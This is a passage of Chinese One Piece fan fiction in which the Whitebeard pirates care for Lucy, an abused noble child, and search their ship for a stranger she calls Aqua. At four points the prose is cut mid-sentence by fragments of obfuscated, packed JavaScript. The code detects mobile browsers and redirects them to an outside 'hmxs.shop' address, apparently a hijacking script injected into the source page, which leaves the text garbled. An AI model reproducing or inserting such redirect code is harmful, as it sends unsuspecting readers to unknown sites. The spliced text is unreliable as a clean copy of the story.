“马尔科队长,听说你带了个女孩回来,需要帮忙吗?”金发的罗莎娜敲了敲门。 房间内沉重的气氛陡然一松,终于找到宣泄口。两个男人如释重负,连忙将露西交给她。罗莎娜牵着露西的手,听完马尔科的嘱托,蹲下朝女孩露出一个灿烂的笑:“我们先去外面玩好不好?马尔科队长和以藏队长有话要聊。” 露西听话地拉着她的手离开房间。 以藏看着女孩远去的背影,一边摇头,一边,巨大的荒谬感淹没了青年。 “她是贵族。” 马尔科配着药,想起孩子身上的伤痕,那些鞭打的伤痕,一看就是陈年旧伤。还有她的脸颊……昨天晚上他没有发现,女孩左脸一个被掌掴的痕迹:“这孩子被打过啊,就在我们上岛前。” 他嗤笑出声,像是自嘲:“还有淤青,长时间体罚叠加在同一个部位造成的。” 马尔科疑惑,根本无法理解:“我以为贵族不会体罚孩子。” 以藏看着被护士们拉着站在原地,努力忽视腹部异样的孩子,深深地皱起眉:“贵族不会在明面上留□□罚的痕迹。” 说完这句话,马尔科的房间再次陷入寂静。两位队长对视一眼,意识到,这个孩子的贵族父母对她一点都不好啊。 露西对马尔科和以藏的忧虑一无所知,她跟着罗莎娜乖乖喝药,摸了摸自己的肚子。 暖洋洋的,像是一条小溪流过。 肚子不疼了。 罗莎娜因为要照顾伤者离开了,于是露西一个人跑到甲板上。 甲板上的哈尔塔打了个呵欠。 阳光很好,他撑着拖把昏昏欲睡。十二番队的队员们果然是随了队长,一个个呵欠连天,手中的拖把往前往后,十几分钟过去,还在那片地。 “你们几个,勤快一点!”哈尔塔忍不住出声。 队员们齐刷刷看向他,哀怨道:“都怪队长打赌输了,我们才来扫甲板。” 哈尔塔差点没把拖把折断:“我只是输了今天的甲板,你们可是把莫比迪克号整整一周的打扫都输了啊混蛋!” “哈哈哈!” 队员们大笑起来。 就在这时,暴跳如雷的哈尔塔感知到一个陌生的气息靠近。少年回头,看见露西远远地站在箱子边。 “……是你。” 他想起来了,那个早饭吃吐的孩子。 “你来甲板上干什么?去和护士玩。”哈尔塔此刻没有心情,将她当成马尔科捡回来的小宠物似的毫不留情地挥手驱赶。 露西并没有离开,她先是好奇地观察甲板上那些红色的酒渍和面包屑,然后看向那群朝着天打呵欠的海贼,问道:“请问有什么我要做的吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984340|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >转身的哈尔塔动作一顿,挑了挑眉看她。 他上下打量了一番露西,视线滑过她的小身板,轻松的可以一只手团成球丢出去的柔弱。他正准备拒绝,忽然想起早上在餐厅时候的场景,眼珠一转,故意问她:“拖地会吗?” 拖地? 露西大大的眼睛充满小小的困惑。 什么是拖地? 哈尔塔看着她纠结又痛苦的模样毫不意外,嗤笑出声:“我就知道。去那边坐着吧。” 被拒绝了呢。 露西失落地垂下肩膀。 她点点头,顺着哈尔塔手指的方向抓着箱子爬上去,安安静静地坐在那里,双腿并拢,小手放在腿上,一句话也没有说。 这种木地板,奥特卢克家里根本没有。队员们一脚踩上去,吱嘎,露西的眼睛瞬间瞪大。黏糊糊的声音传来,她顺着声音看过去,几个人用那种像辫子一样的东西在地板上拖来拖去,红色很快不见了,面包屑也不知道藏到哪里去。一个船员将吃剩的水果捡起来,随手扔进海里,露西又一次瞪眼,伸长脖子去看,但是那颗苹果已经被鱼吃掉了。 海风有点冷,她打了个喷嚏,吸吸鼻子坐好。 “开饭了!” 两个小时后,餐厅里响起萨奇的声音。四番队的队员们沿着通道喊人。 “开饭?”十二番队的各位猛地抬头,样子清醒地和之前判若两人。 嗖,一阵风刮过,甲板上只剩下露西和刚刚倒地的拖把。女孩眨眨眼,“哇”地惊叹出声。 “哈尔塔,这周的甲板就麻烦你们了!” “没想到你们十二番队也有今天啊,兄弟们,晚上开宴会咯!” “你找死啊!” “都说了让你别应下,自己打的赌能怪谁?” 甲板上空无一人,风吹得心里有些慌。露西揪着裙子,看了看左侧的船体,又看了看右侧一望无际的大海,那些热闹的声音从餐厅飘出来,传到露西寂寞的耳朵里。她轻轻叹了口气。 咕噜…… 露西摸上自己的肚子。 你别叫了,她默默和肚子聊天,试图说服对方。你再叫我也不能吃饭啊,我们要等大人说可以才行。 但是。 大人什么时候才会说可以呢? 露西安静地坐在箱子上,海豚追着鱼从船边跃起。 停留在桅杆上的海鸟换了一批又一批,正午的风和阳光吹得她小脸不正常的泛红。 大人什么时候会来呢? 10. 午饭 “马尔科,你不吃了?” “我吃好了yoi。” “你今天食欲不高啊。” “才怪。”金发青年耷拉着眼皮从餐厅里走出来,不知为何,本来要向左转的青年停下脚步破天荒地右转,就像是冥冥之中有一条线牵引着他朝甲板走去。 墙体的遮掩在视线内后退,马尔科摸着后脑勺,看见了甲板上那个身影。 “你怎么在这呢yoi?”马尔科走向露西。 露西看着他,还没有反应过来:“他们让我坐在这里。” “他们?哦。”马尔科明白了。他挠挠头,想起早上的事情,一点憋屈的无能为力冲上心头,他忍不住问她:“药,好用吗?” 露西重重点头。 这个肯定冲淡了一丝忧虑,马尔科笑了一下,随后,两人陷入一种诡异的沉默。 “……” 马尔科有些不自然地转身看向通道,想要缓解这份尴尬,他摸着头,一阵哄笑声突然从餐厅里冲出来,马尔科像是终于找到话题,故作平静地说:“嗯……快去吃饭吧yoi。” 露西的眼睛亮了。 孩子脸上绽开一个惊喜的笑容,像是等这句话很久了。她咚一声从箱子上跳下来,撒欢地朝餐厅跑去,跑了几步猛地停下。 “马尔科,如果你是阿葵亚就好了。”孩子真心感叹。 马尔科挑了挑眉。 “因为……露西很喜欢你!”她偷偷摸摸地抬头看马尔科的表情,踮起脚双手画了个大大的圈,“露西有这么喜欢你!” 她自顾自说完,丢下青年转身朝餐厅跑去。 . 餐厅里热闹的不像话。 餐具和食物横飞,四番队的队员们拽着其他船员的领子破口大骂,但大家显然并不在意,一边大笑,一边食物从嘴巴里漏出,把地上搞得一团糟。几个人翻过桌子,将锁起来的酒桶掏了出来,他们大声炫耀,吃饭的海贼们怪叫着敲桌,将自己的酒杯放在桌上。 酒水咕嘟嘟倒着,一杯接着一杯,随着摇晃的莫比迪克号洒在前襟和地板。露西小心翼翼地前进,被那些大咧咧走过,根本没注意到自己的海贼撞得差点摔倒。他们太高了,太结实了,端着盘子夹着面包转身的时候连露西的脑袋都看不见。 孩子好奇地扭头,顶着那些震耳欲聋的声音想要看看有没有阿葵亚。显然,餐厅里没有蓝色。 视线突然开始升高,她被托着腋下举起放到了吧台边的高凳上。露西扭头,看见以藏拉开凳子坐下。他好像换了一件衣服,又好像没换,露西分不出来,总之,这个姐姐一如既往的漂亮。以藏注意到她的视线,喊了一声萨奇,萨奇将饭端到露西面前。 “我特意给你少盛的。”他看着这个漂亮的孩子,忍不住逗她,“这次可别又吐了啊。” 露西看着那碗饭,又抬头看了看萨奇,脸色突然白了。 “是你呀。” 萨奇挑眉,叉腰:“是我。” 完蛋了,露西的小脸一下子垮了。 露西吃不了饭了。 萨奇看着她脸上变化的神情,疑惑地问她:“你不吃饭吗?” 露西震惊:“我还可以吃饭的吗?” 她明明犯了错的呀!早上,这个哥哥让她吃完所有的饭,她没有吃完,这是很大的错。 犯了错的孩子,是没有资格吃饭的。 萨奇和以藏对视一眼:“当然。” 听到这句话,露西却没有立刻拿起勺子。她抓着自己的手,显得有些忧虑。 如果不是这个哥哥做饭就好了,这样露西在他面前犯的错就不算数了,露西也不用受罚了。女孩天真地想。 萨奇催了一声:“快吃啊。” 露西支支吾吾,几秒后,抬头,小心翼翼地试探:“请问……我应该吃多少呢?” 这是什么问题? 萨奇干巴巴地说:“我怎么知道?你自己看嘛。” 露西摸着自己的手指思考,他说这句话是什么意思呢?让露西像以前那样吃,还是不像以前那样吃? 问题像小鱼吐的泡泡一个接一个在水面炸开,愁的露西快要长白头发了。 虽然这个哥哥还没有想要惩罚自己,但她还是要小心。最重要的是不让这个哥哥生气,因为她有点害怕被打。 她不想被打。 “你还不吃吗?” 露西吓了一跳,连忙握住勺子。她数着自己吃的次数,数到五,动作慢了下来,自以为掩饰的很好的偷瞄了一眼以藏。 以藏在吃他的饭。 露西惊讶得下巴都要掉了。 这个姐姐居然还在吃?! 她不怕被打吗? 母亲说了,女孩子不能吃那么多的。 她等啊,等啊,每当有人从以藏身边走过,她就会焦急地移动一下身体,好像对方下一秒就会一个巴掌过来落在自己身上。可是她左等右等,没有人打以藏。 露西眨眨眼,意识到事情和自己想的不一样。 她学着以藏的样子吃了一口。 米饭在嘴里滚动,被她咬成碎末吞下去。她的眼神好奇又担忧地落在以藏身上,只要对方有停下的意思,她就会像松鼠一样躲起来。 这种过于专注的眼神,以藏怎么可能察觉不到,他只是刻意不去回应罢了。 他不是一个讨厌规矩的人,从小的生活也有很多规矩。他是为了侍奉光月存在的,而光月一族在某种程度上来说也是贵族。所以以藏对贵族拥有比常人更多的了解,以及更高的容忍。 可是这么多年,与白胡子海贼团一起生活的以藏意识到,许多规矩不应该是理所当然的。不应该身为贵族,为了贵族,就理所当然。 他知道露西一直在观察自己,观察自己的一言一行,模仿自己,就和那个年幼的他一样,学着周围人的模样去判断正确和错误。所以以藏才觉得悲伤。 这个孩子不知道自己活着的方式是——不,他没有资格评价那种方式是错误的。 这个孩子,不知道活着还有其他的方式。 露西又舀了一勺饭。 她不需要去数,反正一定是嚼二十一下才会吞咽。吃着嘴里的食物,露西偷偷看了萨奇一眼。萨奇在擦杯子,似乎没有生气,于是女孩松了口气,又舀了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984341|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勺。 她吃不下了。 露西看着碗里依然有很多剩下的饭,叹了口气。 孩子没有马上放下勺子,她拿着勺子在碗里慢吞吞地搅拌,舀起几粒米要送到嘴边,又突然想起什么菜没放上去,于是重新开始舀。蔬菜从勺子上滚下去,她一遍遍耐心地将它舀起来,一点也不着急,好不容易舀起来,米饭又掉了。她扶着碗,开始了漫长的和米饭的争斗。 前后磨蹭了几分钟,一粒米都没进嘴里,她倒把勺子放下了。 萨奇被这一番操作气笑。 “不吃了?” 刚把勺子放下的露西一个激灵,猛地拿起来。她没有抬头,勺子对准一块肉将它赶到碗边,转了一个圈。快要盛起的时候,勺子一偏,肉掉回碗里。 萨奇扶着额头沉默了很久,他看出来了,这小东西根本就不想吃。 “不想吃就别吃了。”萨奇干脆地拿走她的碗。 露西连阻拦都没来得及,那只碗就和勺子一起被萨奇扔进了水池。 哐啷啷啷—— 碗在水池里转了两圈,餐厅里的喧嚣似乎突然远了。 【不想吃就别吃了。】 母亲这样说着,一把拿走她的碗扔在地上。瓷器碎了,饭菜洒了一地。露西怔怔地看着那些食物,心里第一个念头不是疑惑,而是恐惧。 母亲转身拿起那条鞭子,朝她走来。 【露西,下面是教育时间了。】 【你知道自己做错了什么吗?】 以藏微微皱眉。 自从萨奇拿走那只碗后,露西就以一种僵硬的姿势呆在原位。她像是完全冻住了,坐在椅子上盯着萨奇。她在害怕,可她只是一直看着,没有动,没有开口,仿佛在等待什么。直到马尔科来喊她,将她从凳子上拔起来放在地上,她的视线里彻底没有了萨奇,那种被掐住的窒息感才从孩子身上褪去。 但她还是回头在看萨奇。 萨奇当然不觉得自己有什么问题,他忙着和队员们分配接下来的任务。青年布置好任务后开始收拾餐厅,露西抓着马尔科的裤腿,死死盯着那个背影,直到被马尔科强行抓着脑袋推走,完全看不到萨奇了,她才听到自己砰砰的心跳。 萨奇将碗盘放进筐子里,忍不住开口吐槽:“她一直盯着我干什么?” 以藏将盘子递给他:“我怎么知道,你自己去问她。” “问她啊……”萨奇叹了口气,抱着筐子回到吧台。他突然想起什么,重重放在桌上,一脸严肃。 “以藏。” “嗯?” 萨奇动了动嘴唇。他露出一种纠结又惭愧的表情,整张脸皱在一起,半晌后,尴尬一笑: “那孩子——叫什么啊?” 以藏愣住了。 无数姓名在脑海中过了一遍,青年搜索着孩子的名字,却猛地发现,自诩能感同身受的他和兄弟们并没有什么两样。 好像,直到现在,都没有人问过女孩的姓名。 打扫的队员们起身看向彼此:“诶,不就是——就是……” 餐厅里一时间陷入一种可怕的默认过的寂静。 11. 你是我的好朋友 “啊啊啊!露西~好久不见!”正在白胡子身边的安娜看见那个小小的身影,尖叫着跑过去抱她。今天,几个告假的护士刚刚回来,她们还没有见过孩子,其他护士就挽着她们一起围了过去。一时间,各种声音交织在一起。露西扑进安娜怀里,被她狠狠亲了两口。 白胡子看着她们闹腾,爽朗地笑起来:“是你啊。” 马尔科正在检查老爹旧伤的康复情况,他翻看着纸张,随口跟了一句:“露西?谁改名了?” 围在孩子身边的护士互相调笑着,听到马尔科的声音,笑声戛然而止。 马尔科还在说话:“不会是艾拉吧?露西这个名字很普通的,别用了yoi。” 白胡子看了他一眼,甲板上弥漫着一种诡异的沉默。 几秒后,护士们发出尖叫。 “马尔科队长!住嘴啊!” “不是说队长把她带回来的?你居然不知道她叫露西?!!” “露西!答应妈妈,你什么也没有听到!刚刚是菠萝在说话!” 护士们鸡妈妈一样将孩子挡在身后,胡乱地挥舞着手捂住她的耳朵。 “咦?” “还‘咦’!太过分了!队长一点都不关心露西!”护士们拥上去,怒气冲冲地将金发男人推开,赶出甲板。 “队长好好反省一下吧,在没有和露西道歉之前禁止你靠近!” 看着那些谴责的眼神,马尔科终于意识到露西是谁。他的视线可疑地偏转,良心痛了一下。但他很快回过神,忍不住吐槽:“喂喂,我才是队长吧?让我过去!” 护士们抬起下巴拦住他。 “咕啦啦啦。”白胡子笑了起来,他第一次看到这个孩子吃瘪,有些得意地炫耀,“活得久还是有好处的,看来对待女人上,我比这些蠢儿子们要好一些啊。” “马尔科,你去休息吧,这里用不着你。”白胡子朝着青年挥手,几乎是迫不及待地找到一个理由可以正大光明地将他赶走。 露西眨了眨眼,倒退几步看向高大的船长。为了方便护士们检查,他盘腿坐在地上。阳光沉甸甸地洒在胸前,照得他的肌肉在日光下呈现出一种温润的光泽。他是这艘船上最高的人,即使是现在,露西也看不清他长什么模样。 白胡子不太在意地听着护士们絮絮叨叨,马尔科一走,没人管得了他,他拿起酒壶吨吨吨地灌酒。忽然,这个海上最强的男人注意到脚边那个身影,他微微侧头,像是看见一只金色的甲虫,伸出手指让对方停上去。 “要上来吗?” 露西猛地点头。 于是男人张开掌心让孩子爬了上去。 他托着那个小孩将她放在自己肩上,露西抓着他的头带站起来,拉扯感弱的白胡子甚至没什么感觉。她好奇地打量着,第一次看清大家口中的“老爹”是什么模样。 是什么模样呢? 眼神和蔼,气势又很威严,但看上去很任性的模样。 露西小大人似的点头。 她突然想到什么,向着白胡子身后看了看,又踮脚。 “你在找什么?”白胡子问她。 “我在找阿葵亚。” 白胡子笑了:“在我头上找?” 露西失落地坐下来,重重叹气:“阿葵亚不在这里。为什么我找不到阿葵亚呢?” 护士们站在老爹边上,好心问她:“小露西,你再看看我们,是不是记错了?船上只有我们这些女性哦。” 谁料露西坚定道:“不,不是姐姐们,我看着她上船的。” 事情一下子变得诡异起来。 这可是新世界的大海贼白胡子的主船,如果真的有露西说的那样一个女人,那她是出于什么目的来的?她是海贼,还是海军? 这样一个人,七位队长全都没有发现,就连白胡子也…… 想到这儿,护士们起了一身冷汗。 “船长。”她们担心地喊他。 这件事应该严查才对。 白胡子听完露西的话,笑了起来:“不必担心,没人敢在我的船上撒野。” 他喊了一声马尔科,像是毫不在意,却又十分郑重地将露西交给他:“带露西去找那个阿葵亚。” …… “我是不是应该回去坐着呢?” 沉思中的马尔科一时没有反应过来。他停下脚步,对上露西不太确定的眼神,抱歉地询问:“什么?” “我是不是应该回去坐着呢?”露西又问了一遍。 这一次马尔科听懂了,他摸着后脑勺往前走:“嗯……不用。老爹说了,让我带你去找阿葵亚。” 露西抓着他的裤腿,这是小孩子会有的下意识的动作。她还是很担心自己做错,焦虑道:“但是我答应过要坐在那里。” “你是说哈尔塔?”马尔科直接实话实说,“他是在打扫吧,觉得你碍事才让你坐着。” 如果护士们在这里,一定又会重重咳嗽,怒视马尔科不会说话,可是露西浑然不知。小孩子沉浸在自己的思维里,得出一个令人欢喜的结论:“所以我不用坐在箱子上?” “不用。” 露西长舒一口气,小小的愧疚顷刻间烟消云散。 她安心了,轮到马尔科紧张了。 “那个阿葵亚……你什么时候看见她的?” 孩子说:“就是上船的时候啊。” 蓝色的,很漂亮。 “上船……”马尔科沉思。上船的时候他没有注意,是随自己混进来的吗? “之后呢?还有见过她吗?” 一提起这个,露西就难受,撇着嘴摇头。 马尔科摸着自己的头发,眼神微微一动,见闻色霸气如海浪铺开,瞬间遍布整艘船。一时间,所有的队长和白胡子都察觉到这股气息。队长们敏锐地抬头看向马尔科的方向,将自己的霸气打开。 【马尔科,出什么事了?】 马尔科没有隐瞒的意思,从霸气中传播开有关阿葵亚的消息。他的感知穿过餐厅,穿过甲板,深入地下,走过那些没有船员驻守的角落。所有的呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984342|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所有的心跳,所有的声音都在霸气面前暴露无遗。 ——没有陌生人。 这个结论让马尔科忍不住咂嘴。 他变得更加焦躁,无形的压力仿佛一块巨石沉在胃里。 其他队长们也开始搜寻,马尔科却知道,结果大概会和自己一样。 他不相信这个判断,一个外人混上船,就算他有疏忽的地方,以藏、哈尔塔、金古多、萨奇、布拉曼克、布伦海姆,七位队长在船上,不可能一个人都没有察觉。难道是果实能力? 可是什么能力能让他们这些能力者和非能力者一同失手?是隐藏了身形?还是声音? 不,马尔科当即否认了这两个猜想。青年有些高傲地挑眉,这两种果实骗不过他的见闻色。 能够不惊动他们的家伙,那个叫阿葵亚的女人上船究竟是为了什么?老爹吗? 午后的阳光开始西斜,海面上起了风,海水变成墨一样的颜色。疑惑像一团乌云笼罩在马尔科心头,他无法忽视,却又难以解答。而这个疑惑可能导致的结果令青年的心脏被荆棘一层层裹住,也许他应该再做点什么,绝不能像老爹那样满不在乎。 跟着孩子上船来的女人…… 马尔科突然脚步一停。 “露西。” “嗯?”孩子跟着他停下。 “抱歉。” 青年露出一个充满歉意的笑:“之前一直没有问过你的名字yoi。” 露西眨眨眼,告诉他:“没关系。” 马尔科却没有就这样翻篇,他蹲下来,来到和孩子平视的高度,笑着伸出自己的手,无比郑重地开口:“那可不行,我们重新来认识一下吧。你好露西,我叫马尔科,很高兴认识你。” 女孩愣住了。 除去那些虚伪的讨厌的贵族,马尔科是第一个认真地对她交出姓名的人。 贵族们之间的交谈,通常开始于一句“我来自……”,或者“我是……”。露西听着他们夸夸其谈,左耳朵刚进,右耳朵就出去。 她扬起得体的笑容,却和她的哥哥一样,在这一点上是个坏孩子。 她不在乎别人叫什么。 这是一点点贵族的劣根性吧?她和别人的对话通常不需要名字。她不会去问,也不会交出自己的名字。因为即使没有交换姓名,他们也一样能聊天啊。他们只是聊天,不用交换姓名。 她认定了不会和对方再有其他交集,所以,没有必要认识。 这样不好露西,这样不好。 可是马尔科啊,他对着露西说出了他的姓名,在露西已经忘了应该这么做的时候,他用自己的行动提醒了她。 他真是一个好人啊! 几秒后,露西露出一个大大的笑容,高兴地抓住那只手:“你好,我叫露西!” 她决定了,从今天起,马尔科是露西的第一个朋友。 马尔科笑了,心底的担忧似乎被露西的热烈冲淡了一些。他起身,虚虚推了下孩子的头:“走吧,露西,我们去找阿葵亚。” 12. 队长们 虽然说是找阿葵亚,但两人一路上翻遍了可以去的地方也没有找到陌生人的痕迹。 “阿葵亚,你在吗?”孩子打开放食物的箱子,钻进去大喊。 “阿葵亚?”她推开仓库的门,偷酒喝的船员一口酒喷出来。顶着马尔科的挑眉,他们慌慌张张地扔下酒桶,边跑边喊自家队长的名字。 “阿——葵——亚——”露西站在观测台上,狂风将她吹成厉害的闪电发型。 她踮着脚要去扭淡水舱的闸门,马尔科眼疾手快将她抱起来放到一边,和检查的船员确认了一下情况。露西自己跑开了,敲了敲控制室的门,推开。 控制室的船员们拿着披萨,张嘴的动作戛然而止。一块肉随着芝士掉在衣服上,他们的视线随着那个小脑袋转了一圈,砰,门被关上。 “露西闻到水的味道了!”女孩高兴地喊道,“阿葵亚最喜欢水了!” 浴室的大门被她一把拉开,水汽铺天盖地地窜出来。马尔科揪住她的后衣领,在一群大老爷们的尖叫声中提起孩子转了个圈,面不改色地推出去。 “你们继续yoi。”青年用见闻色探查了一遍,随手关上门。 “阿葵亚~阿葵亚~阿葵亚在哪里呢~”女孩哼着歌,蹦蹦跳跳地走在通道里,马尔科懒洋洋地跟在身后,迎面撞上巡逻的金古多。 “马尔科,你刚才说的——” “露西,停一下。” 露西听话地停下。 马尔科摸了摸她柔软的发顶,抬手介绍:“这是金古多,十一番队队长。” 露西抬头,小脸变得严肃。 不是蜜蜂,是金古多。 聪明的孩子把这句话放在肚子里吃掉,戴上惯有的微笑行了个提裙礼:“你好金古多,我叫露西,这是马尔科,很高兴认识你。” 褐色皮肤的男人看起来有些傻,呆愣愣地瞧了马尔科一眼,迟疑地说:“……你好?” 露西满意地点头,抬起下巴邀请他:“我们在找阿葵亚,你要和我们一起吗?” 阿葵亚,这个名字不是马尔科说的刺客吗? 金古多就是为了这件事来的,他用霸气找了一遍,没有发现任何可疑踪迹。 “金古多要负责船上巡逻的事情。”马尔科开口替他拒绝了。 “咦?”露西不疑有他,失落地低头,“好吧,等我找到阿葵亚,我带她找你玩哦。” 说完,她头也不回地继续自己的大事业。 很快,他们遇到了布拉曼克和布伦海姆,露西同样介绍了自己和马尔科的姓名,和他们交换名字后,两人被马尔科赶走了。 露西数着名字,正在感叹今天收获真多,突然,一道粉色的身影闯进她的视野。小女孩一下子僵住了。 “马尔科。”以藏和马尔科打了个招呼,自然,他也没有发现船上存在异常。两人交流完,以藏的视线往下移,看见那个躲在马尔科身后只露了半张脸出来的孩子。他好脾气地歪着脑袋向她挥了挥手。 露西的脸唰一下红了。 马尔科觉得奇怪:“你们又不是第一次见。” “你、你好,我叫露西……”露西的声音小小的,比之前所有时候都要轻柔。 “你好露西,我是以藏。”以藏笑着回应。 以藏虽然长得很精致,但他有一双锐利的眼睛,这双眼睛足以让其他人抛弃他好欺负的印象。可是,连那些鼎鼎大名的海贼也要承认,大海上,男人、女人,没几个能和以藏的容貌匹敌。 好像除了“美”,其他词汇都是片面。可是单单一个“美”,又过于轻浮了。 所以,露西会脸红,完全是合理的嘛。 “怎么了?”以藏问她。 露西几乎要将马尔科的裤腿搓出一个洞来,她抿着嘴,犹豫片刻,小声道:“这里没有花。” 她的声音甜的仿佛吃了一勺蜂蜜。 以藏明白了:“你想送花给我?” 露西害羞地点头,连贵族礼仪都顾不上了,扑在马尔科腿上把自己的脸埋起来。 “因为你长得很好看。”孩子的声音闷闷的。 以藏笑了,故意逗她:“有多好看?” “有这么好看!”露西一下子转过来,眼睛里全是小星星,努力将手比划到最大,“你比妈妈还要好看!” 孩子们大多觉得自己的妈妈是世上最好看的。 就在这时,马尔科冷不丁开口。 “露西,以藏是男的。” 啪! 孩子身上不断往外冒的粉红泡泡被邪恶菠萝精戳破了。 男、男的? 露西一脸震惊。 她颤颤巍巍地抬头去看以藏的脸,比妈妈还要白的皮肤,妈妈才会涂的口红,盘起的发髻,粉色和服。 以藏,是男的? 以藏笑了起来,露西听着那个并不粗糙的音色,精神恍惚,觉得自己幼小的心灵受到诈骗。 “你现在还觉得我好看吗?” 露西撅着嘴,委屈混合着悲伤涌上心头,泪水瞬间溢满眼眶。她抽了抽鼻子,哽咽道:“还、还是好看的。” 话音未落,孩子眼前浮现奥特卢克爵士那张黑乌鸦一样坑坑洼洼的脸,嚎啕大哭。 “哇!马尔科,我爸爸好丑啊!” . 所以,哈尔塔看到的是一个眼睛哭得通红的小孩。 他抓着露西的脑袋晃了晃,发现她的头发手感很好,一脸惊奇地上手盘起来。马尔科打开他的手,将孩子鸡窝似的头发草草拨弄几下。 “你好,我是露西,这是马尔科,很高兴认识你……”孩子说着说着,又忍不住想哭了。 “这是什么交友方式吗?”哈尔塔兴冲冲地询问。 “报上你的名字就好了啊yoi。” 哈尔塔弯腰,伸手:“你好露西,我叫哈尔塔,是十二番队的队长。” “你好哈尔塔……”孩子的声音还是恹恹的。 “你可以叫我哈尔塔哥哥。” “喂。”马尔科眼皮一跳,“别占小孩子便宜。” “好的,哈尔塔哥哥。”露西乖乖地喊。 “……” 今天的甲板分外沉默。 头顶的海鸟嘎嘎嘎地笑着,啪,十二番队队员们手中的扫把倒地,他们愤怒地将毛巾摔在甲板上。 “马、马尔科,你听到了吗?”哈尔塔难以置信地回头,眼神震惊。 马尔科也愣住了。 她真的喊了啊。 哈尔塔颤抖着手捏了捏露西的脸,下一秒,少年将孩子抓起来,兴奋地跑向甲板正中央。 “你们看,她喊我哥哥了!”他恨不得向全天下宣布这个消息。 十二番队的队员们鬼哭狼嚎地冲过去将两人围在中间,痛哭流涕。 “露西妹妹,也喊我一声好不好?就一声。” “可恶,为什么是队长!明明那么矮——” “我也好想有一个这样的妹妹,露西小姐真是太可爱了!” “做梦去吧!”哈尔塔得意地哼气,“她喊的是我!” 队员们酸酸地嘘声,沉默一秒后,他们饿狼般扑了过去。 “队长已经被喊过了,就乖乖站在一边吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984343|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没错,妹妹这种生物就应该分享才对,怎么能独占呢?” “小露西,哥哥这里有糖哦,你要吃什么味的呀?草莓吗?好的,啊,和你一样甜呢——” “呕——” “你们够了yoi!”马尔科看不下去了,一把将这群男人拉开,将露西抱了出来,“看看你们脏成什么样!也好意思抱她?” 他抱着发懵的孩子将那些发疯的笨蛋兄弟踹开,挡住他们索要亲亲的嘴。 “别恶心我啊!”青年一脚蹬在对方脸上,掉头就走。 露西被他抱在怀里,挥手乖乖地喊:“哥哥再见。” “……露西!!!” 男人们幸福地倒下了。 “露西,你听好了,男人就是会得寸进尺的家伙!不要什么事情都答应他们!”餐厅里,马尔科将孩子放在高凳上,语重心长地提醒她。 孩子点点头。 马尔科叹了口气,扭头看向萨奇:“这位是四番队队长,萨奇。” 萨奇一脸傻笑地看着她,等待孩子问好。 露西:“……” “马尔科,我们去找阿葵亚吧。”她从高凳上跳下来,拽着马尔科往外走。 马尔科看了萨奇一眼,萨奇已经僵住了,伸长手臂想要喊她回来,但露西跑出餐厅,头也不回地离开。 萨奇:“……” 一滴水落在池子里,餐厅外的四番队队员冲进来,将青年团团围住。 “萨奇队长!!” “为什么啊!为什么只有队长是这种结果?!” “一定是队长的错!” 他们幽怨地看着萨奇。 队长,太不争气了。 “你欺负她了?”以藏靠着门框问。 萨奇缓过气来,将碎掉的自己捡起来拼好。 “我是那种欺负小孩的人吗?”他自己也觉得奇怪,“她对你也是这样?” “不。”以藏否认了他的幻想,“她夸我好看。” “好看……?” “以防你不知道——她喊我哥哥了。”哈尔塔一阵风似的从餐厅门口飘过。 萨奇一巴掌拍在桌上:“没人问你!” “喂金古多,你见过露西了吗?” “那个金发的小不点?”金古多说,“她长得挺可爱的,和马尔科队长站在一起像父女一样。所以她真的不是——” 萨奇示意他闭嘴,并问出自己唯一关心的事情:“露西她对你是什么反应?” “没什么反应。” 萨奇松了口气。 “她邀请我一起玩。” 砰。 萨奇把人砸了出去。 “以防你不知道——我就是来说一声,她喊我哥哥了。” 哈尔塔从反方向跑回来飘过餐厅门口。 “没、人、问、你。” “布拉曼克!” “哦,露西啊,她说我肚子上的熊很可爱。”袋袋果实的能力者憨厚地笑了起来。 萨奇质疑:“熊?那不是骷髅吗?” 布拉曼克的眼神一下子变得锐利,像是看到了对家:“怎么会呢,露西说了,那是一只粉红熊。萨奇你真是没眼光啊,居然连熊都认不出来。” 